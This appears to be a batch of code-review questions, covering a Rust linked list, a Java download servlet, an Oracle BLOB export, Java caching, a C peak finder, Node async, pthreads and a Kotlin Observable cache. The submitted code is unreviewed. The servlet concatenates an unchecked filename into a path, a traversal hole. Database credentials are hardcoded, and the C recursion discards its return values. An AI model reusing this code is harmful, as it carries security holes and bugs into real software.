#define BOLD_YELLOW_TEXT(x) "\033[1m\033[33m;1m" x "\033[0m"
#define BOLD_BLUE_TEXT(x) "\033[1m\033[34m;1m" x "\033[0m"
#define BOLD_MAGENTA_TEXT(x) "\033[1m\033[35m;1m" x "\033[0m"
#define BOLD_CYAN_TEXT(x) "\033[1m\033[36m;1m" x "\033[0m"
#define BOLD_WHITE_TEXT(x) "\033[1m\033[37m;1m" x "\033[0m"

#endif // COLOR_H


texts:
I have just started learning Rust, and in order to try to get the hang of references, ownership and mutability, I have attempted to make a doubly linked list. It now compiles, and the add function seems to be working as intended.

There is one implementation detail that I am curious about, and in general I'm wondering whether my code violates any good practice. Also, related to this, have I painted myself into any kind of corner if I want to extend this code? (Making add() keep the list ordered, using generics, implementing Iterator, and so on.)

use std::rc::{Rc, Weak};
use std::cell::RefCell;

#[derive(Debug)]
struct Node {
    value: i32,
    next: RefCell<Option<Rc<Node>>>,
    prev: RefCell<Weak<Node>>,
}

impl Node {
    pub fn add(&self, this: &Rc<Node>, i: i32) {
        if let Some(ref r) = *self.next.borrow() {
            r.add(r, i);
            return;
        };
        *self.next.borrow_mut() = Some(Rc::new(Node {
            value: i,
            next: RefCell::new(None),
            prev: RefCell::new(Rc::downgrade(&this)),
        }));
    }
}

#[derive(Debug)]
struct List {
    head: RefCell<Option<Rc<Node>>>,
}

impl List {
    pub fn add(&self, i: i32) {
        if let Some(ref r) = *self.head.borrow() {
            r.add(r, i);
            return;
        };
        *self.head.borrow_mut() = Some(Rc::new(Node {
            value: i,
            next: RefCell::new(None),
            prev: RefCell::new(Weak::new()),
        }));
    }
}

fn main() {
    let list = List {
        head: RefCell::new(None),
    };
    println!("{:?}", list);
    list.add(1);
    list.add(2);
    println!("{:?}", list);
}

The detail I'm curious about is whether the if let parts can be done with a match. Or, more specifically, can it be done without the extra return call. No matter what I tried (both match and if let with else), the borrow() got in the way of the borrow_mut() in the None arm, and I couldn't get the pattern matching to work without the borrow().


texts:
Is the code below an efficient way to get the zip file from the server? The code works fine but I'm wondering if I should throw some exceptions for the following conditions:

if(param1 == null || param2 == null)
} else if ("".equals(param1) || "".equals(param2)) {

The way I call this servlet from a web browser is as follows:

https://myserver.com/DownloadFileFromServer/DownloadFileServlet?filename=my_users_files_1560866090.zip&user=TAN

Eventually, I'll call the above URL from my user interface when a user would have clicked a Download button, maybe using Javascript's setTimeout() method. The reason I plan on calling it again and again for sometime is because the file might not be
available on the server and I would have to keep on checkiing it again and again. Do I need to handle this part in my servlet code somehow? I mean, I would keep on callling the above URL until I get the file
from the server.

@WebServlet("/DownloadFileServlet")
public class DownloadFileServlet extends HttpServlet {

    final String[][] contentTypes = {{"zip" ,"application/zip"},{"csv" ,"text/csv"},{"pdf","application/pdf"}};
    private static final long serialVersionUID = 1L;

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        String param1 = request.getParameter("filename");
        String param2 = request.getParameter("user");

        System.out.println("File Name Retrieved is:"+param1);
        System.out.println("User Name Retrieved is:"+param2);

        final String FILE_LOCATION = "/srv/my_users/param2/";

        if(param1 == null || param2 == null) {
            // The Request Parameters Were Not Present In The Query String. Do Something Or Exception Handling !!
            System.out.println("Request Parameter Not Found in first if!");
        } else if ("".equals(param1) || "".equals(param2)) {
            // The Request Parameters Were Present In The Query String But Has No Value. Do Something Or  Exception Handling !!
            System.out.println("Request Parameter Not Found in second if!");
        } else {

        /*if (param1 != null && param2 !=null) {*/
            String fileName = (String) param1;
            String contentType = getContentType(fileName.split("\\.")[1]);
            File file = new File(FILE_LOCATION + "/" +fileName);
            response.setContentType(contentType);
            response.addHeader("Content-Disposition","attachment; filename=" + fileName);
            response.setContentLength((int) file.length());
            ServletOutputStream servletOutputStream = response.getOutputStream();
            BufferedInputStream bufferedInputStream = new BufferedInputStream(new FileInputStream(file));
            int bytesRead = bufferedInputStream.read();
            while (bytesRead != -1) {
                servletOutputStream.write(bytesRead);
                bytesRead = bufferedInputStream.read();
            }
            if (servletOutputStream != null) servletOutputStream.close();
            if(bufferedInputStream != null) bufferedInputStream.close();

        }

        //response.getWriter().append("Served at: ").append(request.getContextPath());
    }

    private String getContentType(String fileType) {
        String returnType = null;
        for(int i = 0; i < contentTypes.length; i++) {
            if(fileType.equals(contentTypes[i][0])) returnType = contentTypes[i][1];
        }
        return returnType;
    }

}


texts: Blob data from Oracle to .zip file using python

texts:
I have been trying to get the blob data from oracle into a zip file using Python. I couldn't find the answer on any of the other links. Below is the code:-

import cx_Oracle
import numpy as np
import pandas as pd
con = cx_Oracle.connect("OPT", "OPT", "INDLIN1234:1521/OPTEPC1")
cursor = con.cursor()
sql_string = """SELECT F_name, F_released_data FROM epc_project where rownum<5"""
cursor.execute(sql_string)
rows = cursor.fetchall()
for row in rows:
        blobdata= np.array(row[1].read())
        filename =str(row[0]) + ".zip"
con.close()
f = open(filename, "wb")
binary_format = bytearray(blobdata)
f.write(binary_format)
f.close()

Getting below error:-

   blobdata= np.array(row[1].read())
AttributeError: 'NoneType' object has no attribute 'read'

Please helpme out here


texts: Implementing a thread-safe factory with caching

texts:
I have a ConnectorFactory that creates Connector objects based on parameters like URLs, username and passwords.

The Connector object itself implements a HTTP connection pool internally, and can handle multiple HTTP requests concurrently.

I would like to do is modify my factory to cache the Connector objects. So it will get an existing Connector object if one already exists for the particular URL/username/password combination, or a new instance otherwise.

The newConnection() method needs to be thread safe, but rather than declaring it synchronized I have opted for a Double-checked locking-style solution.

Just about every reference I found on double checked locking relates to the singleton pattern, and requires use of the volatile keyword. Since I'm not using my Factory in this way, I don't find those relevant.

Here are the relevant parts of the ConnectorFactory I have come up with. I would like for an expert to tell me if it is correct, and if not, what the correct way to do it would be.

private static Map<ConnectionSettings, Connector> connectorCache = new ConcurrentHashMap<ConnectionSettings, Connector>();

public static Connector newConnection(String url, String user, String psswd) throws ConfigurationException {
    ConnectionSettings settings = new ConnectionSettings(url, user, psswd);
    Connector connector = connectorCache.get(settings);
    if (connector == null) {
        synchronized (ConnectorFactory.class) {
            connector = connectorCache.get(settings);
            if (connector == null) {
                connector = new Connector(settings);
                connectorCache.put(settings, connector);
            }
        }
    }
    return connector;
}

I have overridden the equals() and hashCode() methods on ConnectionSettings.

Finally, if only this method accesses connectorCache, can I change it to a normal HashMap rather than a ConcurrentHashMap?


texts: Creating an object out of an array of functions

texts:
Here's a function that allows you to convert an array of functions into an object of functions where each property is set to the name of the function.

var _ = require("underscore")

function functionName(fn){
  //http://stackoverflow.com/a/17923727/340688
  if(fn.name) return fn.name
  return /^function\s+([\w\$]+)\s*\(/.exec(fn.toString())[1]
}

function objecfify(arr){
  return _.chain(arr)
    .map(function(fn){
      return [functionName(fn), fn]
    })
    .object()
    .value()
}

Usage:

var model = objecfify([
  function create(){
    return "create"
  },
  function read(){
    return "read"
  },
  function update(){
    return "update"
  },
  function remove(){
    return "delete"
  }
])

console.log(model)

Thoughts?


texts:
I have a list of dictionaries, with keys 'a', 'n', 'o', 'u'.
Is there a way to speed up this calculation, for instance with NumPy? There are tens of thousands of items in the list.

The data is drawn from a database, so I must live with that it's in the form of a list of dictionaries originally.

x = n = o = u = 0
for entry in indata:
    x += (entry['a']) * entry['n']  # n - number of data points
    n += entry['n']
    o += entry['o']
    u += entry['u']

    loops += 1

average = int(round(x / n)), n, o, u


texts: Binary search-like algorithm to find local peak

texts:
Please help me improve my coding style.

/*
Author: Muhammad Awais
Blog: http://uetianblogger.blogspot.com/

Description:
Divide and Conquer Rule. Binary Search like algorithm
to find local peak.It may or may not find global peak
of the array.

Parameters:
A[]= Array of elements
i=starting point
j=ending point

Algorithms Class Analysis:
Theta(log(n))
BigO(log(n))
Omega(1)

*/

#include <stdio.h>
#include <stdlib.h>
int Peak1D(int A[],int i,int j)
{
    //Middle point
    int m=((i+j)/2);

    //If it comes to either corner of the array
    if (m==i || m==j)
    {
        return A[m];
    }
    //To find peak
    else
    {
        if (A[m+1]>A[m])
        {
            Peak1D(A,m+1,j);
        }
        else if (A[m-1]>A[m])
        {
            Peak1D(A,i,m-1);
        }
        else   return A[m];

    }

}

***UPDATE**

Following is my updated code bases on suggestions. Please review this too.*

/*
Author: Muhammad Awais
Blog: http://uetianblogger.blogspot.com/
Date: 16/11/2016
Description:
Divide and Conquer Rule. Binary Search like algorithm
to find local peak.It may or may not find global peak
of the array.

Parameters:
A[]= Array of elements
starting_pt=starting point
ending_pt=ending point

Algorithms Class Analysis:
Theta(log(n))
BigO(log(n))
Omega(1)

*/

#include <stdio.h>
#include <stdlib.h>
int Peak1D(int A[],size_t starting_pt,size_t ending_pt)
{
    //If length is zero
    if ((sizeof(A)==0))
    {
        return 0;
    }

    //Middle point
    int middle_pt=((starting_pt+ending_pt)/2);

    //If it comes to either end of the array
    if (middle_pt==starting_pt || middle_pt==ending_pt)
    {
        return A[middle_pt];
    }
    //To find local peak

    if (A[middle_pt+1]>A[middle_pt])
    {
        Peak1D(A,middle_pt+1,ending_pt);
    }

    else if (A[middle_pt-1]>A[middle_pt])
    {
        Peak1D(A,starting_pt,middle_pt-1);
    }

    return A[middle_pt];

}


texts:
I am currently learning how to create nodejs express rest api using async making it fully scaleable and secure.

My goal is to ensure maximum functionality and speed, currently I am using MVC structure with route, controller, service and model.

Database is mysql and using mysql2 pool.

I am looking to know if the example snippets of code below are optimised as best as possible and correctly using async or is there a more efficient way ?

Route

'use strict';

const express = require('express');
const app = express.Router();
const Stats_controller = require('../controllers/stats');

app.get('/stats', Stats_controller.getStats);

module.exports = app;

Controller (unsure here about the async how its been used)

'use strict';
const statsService = require('../services/stats.js');

const getStats = async (req, res, next) => {
  statsService.getStats(function(err, result) {
    if (err)
      res.send(err);
      res.json(result);
  });
};

module.exports.getStats = getStats;

Service

'use strict';
var coinsModel = require('../models/stats.js');

const getStats =  async function(result) {
    const res = await coinsModel.getStats();
    var responseData = {
        "status":"success",
        "data":res
    }
    result(null, responseData);
}

module.exports.getStats = getStats;

Model

'use strict';
var db = require('../config/conf.js');

const getStats = async function() {
  return new Promise((resolve) => {
        db.connection.query("SELECT * FROM stats", function (err, res) {
      if(!err){
        resolve(res)
      }else{
        resolve([])
      }
    });
  });
}

module.exports.getStats = getStats;


texts:
Please review for any unnecessary casting, memory leaks, wrong use of pthread call, or validation problems in the given code.

/**********************************************************************
*       FILENAME :thread_1.c
*       DESCRIPTION:Contains Code for a program that demonstrates the
*       use of pthread calls.The created threads will accept an
*   argument and return the argument after adding a number.
****************************************************************************/
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
void *thread_entry(void *arg)
{

 int *p;
 p=(int*)arg;
 *p = (*p) + 10;
 pthread_exit(p);
}

int main(int argc, char* argv[])
{
 pthread_t* threads;
 int t,ret,numthreads = 0,thread_success = 0,*iptr;
 void* thread_result;
 if ( argc < 2 )
 {
    printf("Less number of Args -Pl. enter a valid number of threads to be created\n");
    exit(1);
}
numthreads = atoi(argv[1]);
if ( 0 > numthreads )
{
    printf("Pl. enter a valid number of threads to be created\n");
    exit(1);
}
threads = calloc(numthreads,  sizeof(pthread_t));
if (NULL == threads)
{
    printf("Failed to alocate memory in malloc\n");
    exit(1);
}
/*Creating the Threads*/
for(t=0; t < numthreads; t++)
{
    printf("Creating Thread\n");
    iptr = (int*)malloc(sizeof(int));
    *iptr = t;
    ret  = pthread_create(&threads[t],NULL,thread_entry,(void*)iptr);
    if(ret )
    {
        printf("Printf Error Creating Thread");
        free(iptr);
    }
    else
    {
        thread_success++;
    }
}
 //Now waiting for all the threads
   //thread_success is the number of successfully created threads
for(t=0; t < thread_success; t++)
{
    ret  = pthread_join(threads[t],&thread_result);
    if (ret)
    {
        printf("Error joining a thread");
    }
    else
    {
        printf("Joined thread returned %d\n", *((int*)thread_result));
        free(thread_result);
    }
}
  free(threads);
  return 0;
}


texts: Reverse an array without affecting special characters

texts:
Given a string, that contains special character together with alphabets (‘a’ to ‘z’ and ‘A’ to ‘Z’), reverse the string in a way that special characters are not affected.

Example:
Input:   str = "a:b!c"
Output:  str = "c:b!a"

I am using two indexes one to start from the beginning and the other from the end of the array.Swap if they are valid chars  and then increment indexes,increment indexes if invalid chars.Any feedback appreciated!

P.S: I am using static methods for convenience.

The Code:

public class ReverseArrayWithoutSpecialChars {

    static HashSet<Character> invalidChars = new HashSet<Character>(Arrays.asList(',', '?', ':','!','$'));

    public static char[] reverseSkippingSpecialChars(char[] charArray) {

        int l = 0;
        int r = charArray.length - 1;
        for (int i = 0; i < charArray.length; i++) {

            if (r <= l) {
                break;
            }
            if (!isInvalidChar(charArray[l]) && !isInvalidChar(charArray[r])) {
                charArray = swapChars(charArray, l, r);
                l++;
                r--;
            } else if (isInvalidChar(charArray[l])) {
                l++;
            } else if (isInvalidChar(charArray[r])) {
                r--;
            }
        }
        return charArray;
    }

    public static char[] swapChars(char[] charArray, int index1, int index2) {
        char temp = charArray[index1];
        charArray[index1] = charArray[index2];
        charArray[index2] = temp;
        return charArray;
    }

    public static boolean isInvalidChar(char character) {
        return invalidChars.contains(character);
    }

    public static void main(String args[]) {
        char[] charArray = new char[]{'a', 'b', 'c', 'd', '?', 'f', 's', ':', 'w'};

        System.out.println(reverseSkippingSpecialChars(charArray));
    }
}


texts:
So the idea is to maintain a cache of shared Observables - accessible by a key - which if not present will produce one using the given factory.

The underlying shared Observable is accessed via an Observable created on each invocation of get - this is in order to be able to maintain ownership of the shared Observable and enforce when and how subscribe/unsubscribe is called on it.

When a subscriber is subscribed to an external Observable, then it looks up or created the underlying Observable, and subscribes to it.

When a subscriber is unsubscribed, if there are no more subscriptions on the underlying Observable, then it is removed from the cache.

If the underlying shared Observable terminates, then it is removed from the cache. I believe doOnTerminate is called before the onComplete/onError methods of subscribers, meaning that it will not be possible to subscribe to an Observable which has just terminated, and receive nothing in response.

It's written in Kotlin, but if need be I can port to Java.

I'd appreciate validation that what I've said above is true, and any edge cases I may have missed. Additionally, if there are any suggestions for making this non-blocking, without the chance of duplicating Observables for the same key, or having unmanaged references, then I'd be keen to listen.

package streams

import rx.Observable
import rx.observers.Subscribers.from
import rx.subscriptions.Subscriptions
import java.util.*
import java.util.concurrent.locks.ReentrantLock
import kotlin.concurrent.withLock

/**
 * Shares a number of underlying observables
 * Unsubscribes from and removes the source observable from the cache if there are no binding subscriptions to it,
 * or if the source observable terminates
 */
class SharedObservableCache<K, T>(private val factory: (K) -> Observable<T>) {

    private val sharedObservables = HashMap<K, Observable<T>>()
    private val lock = ReentrantLock()

    operator fun get(key: K): Observable<T> {
        return Observable.create<T>(
                { subscriber ->

                    val bindingSubscriber = from(subscriber)
                    lock.withLock {
                        getSharedObservable(key).subscribe(bindingSubscriber)
                    }

                    subscriber.add(Subscriptions.create(
                            {
                                lock.withLock {
                                    bindingSubscriber.unsubscribe()
                                }
                            }))
                })
    }

    private fun getSharedObservable(key: K): Observable<T> {
        return sharedObservables.getOrPut(key,
                {
                    factory.invoke(key)
                            // Occurs before calls to onComplete/onError to subscribers
                            // Removed at this point so as not to allow a subscriber to subscribe to a terminating observable
                            .doOnTerminate { lock.withLock { sharedObservables.remove(key) } }
                            // Locked by unsubscription of binding subscriber
                            .doOnUnsubscribe { sharedObservables.remove(key) }
                            .share()
                })
    }
}